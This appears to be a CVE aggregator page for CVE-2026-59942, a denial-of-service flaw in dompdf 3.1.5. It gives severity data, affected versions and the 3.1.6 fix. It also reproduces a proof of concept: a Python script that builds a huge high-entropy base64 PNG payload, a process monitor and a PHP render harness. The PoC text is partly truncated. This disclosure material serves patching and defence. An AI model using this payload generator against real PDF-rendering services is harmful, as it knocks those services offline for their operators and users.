🛡️ CVE-2026-59942 — dompdf

🟠 CVSS 7.5 — High ⚠️ Exploit Public CWE-400 NVD
7.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps ### Summary Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. ### Technical Deep Dive: Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to: - **100% CPU Saturation:** The rendering thread hangs indefinitely trying to process the pixel stream. - **Process Termination:** The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service. ### Details The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. ### PoC (Proof of Concept) 1. Install Dompdf v3.1.5 via Composer. ``` composer require dompdf/dompdf:3.1.5 ``` 2. Use the following Python script to generate the malicious payload (`exploit.py`): ```python from PIL import Image import base64 from io import BytesIO import os DIMENSIONS = (30000, 30000) OUTPUT_FILE = "payload.html" def generate_noise_bomb(): print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...") random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1]) image = Image.frombytes('L', DIMENSIONS, random_bytes) buffer = BytesIO() # Using PNG instead of JPEG to force full bitmap decompression in memory image.save(buffer, format="PNG") image_base64 = base64.b64encode(buffer.getvalue()).decode() html_content = f"""

PoC: Resource Exhaustion

""" with open(OUTPUT_FILE, "w") as f: f.write(html_content) print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}") if __name__ == "__main__": generate_noise_bomb() ``` 3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`): ```python import psutil import time def start_monitoring(): print("[*] Searching for PHP processes... (Press Ctrl+C to stop)") try: while True: for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']): if 'php' in proc.info['name'].lower(): try: pid = proc.info['pid'] mem = proc.info['memory_info'].rss / (1024 * 1024) cpu = proc.cpu_percent(interval=0.1) print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True) except (psutil.NoSuchProcess, psutil.AccessDenied): print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.") return time.sleep(0.05) except KeyboardInterrupt: print("\n[*] Monitoring finished.") if __name__ == "__main__": start_monitoring() ``` 4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library: ```php set('isRemoteEnabled', true); $options->set('isHtml5ParserEnabled', true); $dompdf = new Dompdf($options); $html = file_get_contents('php://stdin'); echo "[*] Starting Dompdf rendering process...\n"; try { $dompdf->loadHtml($html); $dompdf->render(); // Point of resource exhaustion echo "[+] PDF rendered successfully.\n"; } catch (Exception $e) { echo "[!] Render failed: " . $e->getMessage() . "\n"; } ``` 5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration: ``` php -d memory_limit=2G render.php < payload.html ``` 6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU satur

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

CVE-2026-59942 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-59942 is recorded against 2 packages.

  • dompdf (fixed in 3.1.6)
  • dompdf/dompdf (fixed in 3.1.6)

Timeline and source

Published on 28 July 2026 and last revised on 4 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com
github.com

Details

Severity HIGH
CVSS Score 7.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ⚠️ Yes
Source NVD
Published 2026-07-28
Updated 2026-08-12
Modified 2026-08-04

Affected Packages

Software From version Fixed in
dompdf 3.1.6
dompdf/dompdf 3.1.6

Exploit Protection

Are you running dompdf?

CVE-2026-59942 carries CVSS 7.5 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-59942 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.